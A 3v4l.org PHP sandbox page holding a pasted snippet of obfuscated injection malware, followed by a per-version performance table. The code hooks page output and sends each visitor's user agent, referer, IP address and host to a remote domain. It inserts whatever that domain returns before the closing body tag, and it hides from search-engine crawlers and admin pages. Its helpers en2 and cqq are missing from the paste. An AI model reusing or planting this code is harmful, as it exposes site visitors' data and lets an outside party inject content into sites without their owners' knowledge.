3v4l.org

run code in 300+ PHP versions simultaneously
<?php function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return $buf; } function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } function g_3($url) { if (function_exists("file") === false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf; } function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf = ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf; } function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; } if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="\x1f\x8b\x08") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2)); $i=$i+2+$xlen; } if ($flg & 8) $i=strpos($gzData,"\0",$i)+1; if ($flg & 16) $i=strpos($gzData,"\0", $i)+1; if ( $flg & 2) $i=$i+2; } return @gzinflate(substr($gzData,$i,-8)); } else{ return false; } } } function k34($op,$text) { return base64_encode(en2($text, $op)); } function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a; } function day212() { $a=check212("HTTP_USER_AGENT"); $b=check212("HTTP_REFERER"); $c=check212("REMOTE_ADDR"); $d=check212("HTTP_HOST"); $e=check212("PHP_SELF"); $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); if ( ($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) { $o1 = ""; } else { $op=mt_rand(100000,999999); $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); $url="http://".cqq(".com")."/".$g4; $ca1=en2(@gtd($url),$op); $a1=@explode("!NF0",$ca1); if (sizeof($a1)>=2) $o1 = $a1[1]; else $o1 = ""; } return $o1; } if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; } } if(!function_exists("pa22")) { function pa22($v) { Header("Content-Encoding: none"); $t=dcoo($v); if(preg_match("/\<\/body/si",$t)) { return preg_replace("/(\<\/body[^\>]*\>)/si", day212()."\n"."$"."1", $t,1); } else { if(preg_match("/\<\/html/si",$t)) { return preg_replace("/(\<\/html[^\>]*\>)/si", day212()."\n"."$"."1", $t,1); } else { return $t; } } } } ob_start("pa22");

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0210.00316.86
8.3.60.0090.01217.00
8.3.50.0100.00822.27
8.3.40.0070.00719.25
8.3.30.0110.00319.29
8.3.20.0080.00020.52
8.3.10.0040.00423.61
8.3.00.0000.00820.64
8.2.180.0160.01216.97
8.2.170.0120.00322.96
8.2.160.0100.00720.47
8.2.150.0040.00424.18
8.2.140.0000.00824.66
8.2.130.0040.00426.16
8.2.120.0000.00820.56
8.2.110.0060.00322.20
8.2.100.0120.00018.28
8.2.90.0030.00519.47
8.2.80.0080.00018.00
8.2.70.0000.00817.88
8.2.60.0040.00418.05
8.2.50.0040.00418.07
8.2.40.0000.00819.94
8.2.30.0030.00618.30
8.2.20.0060.00318.04
8.2.10.0040.00418.25
8.2.00.0040.00417.98
8.1.280.0100.01025.92
8.1.270.0040.00422.32
8.1.260.0030.00626.35
8.1.250.0000.00828.09
8.1.240.0090.00023.91
8.1.230.0090.00319.22
8.1.220.0000.00817.79
8.1.210.0040.00418.77
8.1.200.0100.00317.60
8.1.190.0040.00717.48
8.1.180.0000.00818.10
8.1.170.0040.00718.84
8.1.160.0000.00822.29
8.1.150.0000.00818.81
8.1.140.0030.00517.71
8.1.130.0000.00717.91
8.1.120.0070.00017.66
8.1.110.0030.00617.71
8.1.100.0040.00417.66
8.1.90.0030.00617.76
8.1.80.0050.00317.64
8.1.70.0070.00017.65
8.1.60.0050.00317.72
8.1.50.0080.00017.72
8.1.40.0000.00817.79
8.1.30.0040.00417.89
8.1.20.0000.00817.90
8.1.10.0030.00617.85
8.1.00.0000.00817.66
8.0.300.0000.00718.77
8.0.290.0070.00017.30
8.0.280.0000.00818.52
8.0.270.0040.00417.36
8.0.260.0000.00717.30
8.0.250.0050.00217.32
8.0.240.0050.00217.32
8.0.230.0000.00717.32
8.0.220.0000.00717.24
8.0.210.0040.00417.22
8.0.200.0030.00317.26
8.0.190.0050.00317.30
8.0.180.0050.00317.30
8.0.170.0080.00017.28
8.0.160.0080.00017.13
8.0.150.0040.00417.23
8.0.140.0000.00917.21
8.0.130.0030.00313.70
8.0.120.0000.00817.08
8.0.110.0000.00817.28
8.0.100.0040.00417.28
8.0.90.0040.00417.24
8.0.80.0060.00917.20
8.0.70.0030.00517.20
8.0.60.0040.00417.25
8.0.50.0040.00417.26
8.0.30.0080.01117.34
8.0.20.0110.00917.43
8.0.10.0040.00417.23
8.0.00.0080.01017.07
7.4.330.0030.00315.03
7.4.320.0030.00316.95
7.4.300.0040.00416.96
7.4.290.0030.00616.94
7.4.280.0070.00316.96
7.4.270.0050.00316.97
7.4.260.0060.00316.91
7.4.250.0020.00516.84
7.4.240.0040.00416.86
7.4.230.0050.00216.70
7.4.220.0070.01117.05
7.4.210.0060.01017.06
7.4.200.0000.00716.75
7.4.190.0000.00817.09
7.4.160.0160.00816.96
7.4.150.0150.00317.40
7.4.140.0100.00817.86
7.4.130.0080.00916.91
7.4.120.0080.01316.92
7.4.110.0120.01216.84
7.4.100.0120.00916.88
7.4.90.0040.01416.84
7.4.80.0070.01119.39
7.4.70.0090.01016.77
7.4.60.0120.00617.00
7.4.50.0040.00416.53
7.4.40.0160.00716.82
7.4.30.0080.00816.72
7.4.00.0060.01015.15
7.3.330.0000.00813.52
7.3.320.0000.00613.48
7.3.310.0040.00416.70
7.3.300.0000.00716.52
7.3.290.0180.00316.65
7.3.280.0130.00316.68
7.3.270.0090.00617.40
7.3.260.0110.00716.73
7.3.250.0090.01116.59
7.3.240.0060.01216.73
7.3.230.0110.00716.63
7.3.210.0060.01616.87
7.3.200.0150.00319.39
7.3.190.0100.00716.80
7.3.180.0100.00716.82
7.3.170.0120.00317.02
7.3.160.0150.00616.66
7.3.120.0060.00915.41
7.2.330.0090.00917.03
7.2.320.0070.01416.87
7.2.310.0050.01316.97
7.2.300.0070.01016.92
7.2.290.0060.01916.75
7.2.00.0040.01119.79
7.1.100.0070.00718.55
7.1.70.0000.00717.42
7.1.60.0060.01919.70
7.1.50.0070.01617.05
7.1.00.0030.08022.40
7.0.200.0040.00816.93
7.0.140.0000.07722.00
7.0.100.0130.07720.07
7.0.90.0430.06319.97
7.0.80.0100.07720.14
7.0.70.0100.04720.02
7.0.60.0130.05320.07
7.0.50.0100.05720.39
7.0.40.0130.08019.91
7.0.30.0130.06320.19
7.0.20.0100.08020.05
7.0.10.0100.08020.11
7.0.00.0100.08020.04
5.6.280.0030.06721.22
5.6.250.0000.07020.64
5.6.240.0070.04320.64
5.6.230.0070.04720.66
5.6.220.0100.06020.64
5.6.210.0200.06320.52
5.6.200.0100.07720.96
5.6.190.0100.04721.09
5.6.180.0070.05021.12
5.6.170.0170.07721.06
5.6.160.0070.07321.07
5.6.150.0130.07321.15
5.6.140.0170.07321.09
5.6.130.0130.04321.00
5.6.120.0170.08021.08
5.6.110.0170.07321.22
5.6.100.0070.07021.05
5.6.90.0030.04321.05
5.6.80.0100.03720.45
5.6.70.0070.03020.37
5.6.60.0000.04020.45
5.6.50.0000.04320.52
5.6.40.0030.04020.38
5.6.30.0100.06020.47
5.6.20.0030.07020.48
5.6.10.0070.05720.60
5.6.00.0070.04020.36
5.5.380.0000.08320.41
5.5.370.0200.06320.61
5.5.360.0200.08020.42
5.5.350.0000.09020.52
5.5.340.0170.07720.93
5.5.330.0100.04320.86
5.5.320.0100.06020.95
5.5.310.0070.08020.98
5.5.300.0070.08320.87
5.5.290.0170.07320.97
5.5.280.0130.07720.96
5.5.270.0170.08020.88
5.5.260.0130.07720.88
5.5.250.0030.04320.61
5.5.240.0030.04020.29
5.5.230.0070.03720.36
5.5.220.0070.03720.35
5.5.210.0030.04020.37
5.5.200.0070.04320.21
5.5.190.0100.03720.32
5.5.180.0100.03020.29
5.5.160.0030.03320.05
5.5.150.0070.04320.21
5.5.140.0100.03320.30
5.5.130.0030.04320.06
5.5.120.0070.07720.33
5.5.110.0000.04320.30
5.5.100.0070.03720.22
5.5.90.0130.03020.20
5.5.80.0000.03720.13
5.5.70.0030.04020.20
5.5.60.0000.04020.12
5.5.50.0070.03320.15
5.5.40.0030.03720.18
5.5.30.0000.04720.15
5.5.20.0030.04020.12
5.5.10.0070.04020.10
5.5.00.0070.03720.13
5.4.450.0100.07719.57
5.4.440.0170.06719.44
5.4.430.0100.08019.47
5.4.420.0070.06019.38
5.4.410.0030.04019.36
5.4.400.0100.03319.26
5.4.390.0070.04019.07
5.4.380.0070.03319.05
5.4.370.0030.03719.19
5.4.360.0070.06018.87
5.4.350.0000.03719.20
5.4.340.0030.07718.87
5.4.320.0030.05319.06
5.4.310.0070.03319.20
5.4.300.0030.04319.22
5.4.290.0070.03719.15
5.4.280.0070.03718.87
5.4.270.0070.04718.89
5.4.260.0070.03319.22
5.4.250.0000.04018.87
5.4.240.0000.04319.20
5.4.230.0030.06319.13
5.4.220.0100.03319.27
5.4.210.0030.04019.25
5.4.200.0000.04019.06
5.4.190.0070.03318.86
5.4.180.0130.02719.13
5.4.170.0000.05319.14
5.4.160.0070.03319.09
5.4.150.0170.02719.12
5.4.140.0000.04016.49
5.4.130.0130.02716.50
5.4.120.0070.03316.49
5.4.110.0000.04016.46
5.4.100.0100.03016.58
5.4.90.0130.05716.44
5.4.80.0070.05716.57
5.4.70.0070.03016.54
5.4.60.0100.07016.40
5.4.50.0100.06316.55
5.4.40.0130.05716.48
5.4.30.0070.05716.55
5.4.20.0030.07716.43
5.4.10.0030.06016.43
5.4.00.0130.07015.98
5.3.290.0070.06314.80
5.3.280.0070.03714.76
5.3.270.0070.03714.85
5.3.260.0000.04014.71
5.3.250.0130.02714.82
5.3.240.0030.03714.83
5.3.230.0070.03014.68
5.3.220.0000.04314.61
5.3.210.0030.03014.79
5.3.200.0070.03314.76
5.3.190.0000.07014.74
5.3.180.0100.07314.73
5.3.170.0030.03314.72
5.3.160.0000.08014.64
5.3.150.0130.03014.60
5.3.140.0170.05714.65
5.3.130.0030.07714.79
5.3.120.0030.04714.66
5.3.110.0070.04314.79
5.3.100.0030.08014.21
5.3.90.0070.07014.06
5.3.80.0130.06314.12
5.3.70.0030.04014.18
5.3.60.0000.07014.25
5.3.50.0200.06014.02
5.3.40.0070.03714.10
5.3.30.0070.06314.07
5.3.20.0100.06713.70
5.3.10.0100.06013.81
5.3.00.0100.05713.63

preferences:
54 ms | 401 KiB | 5 Q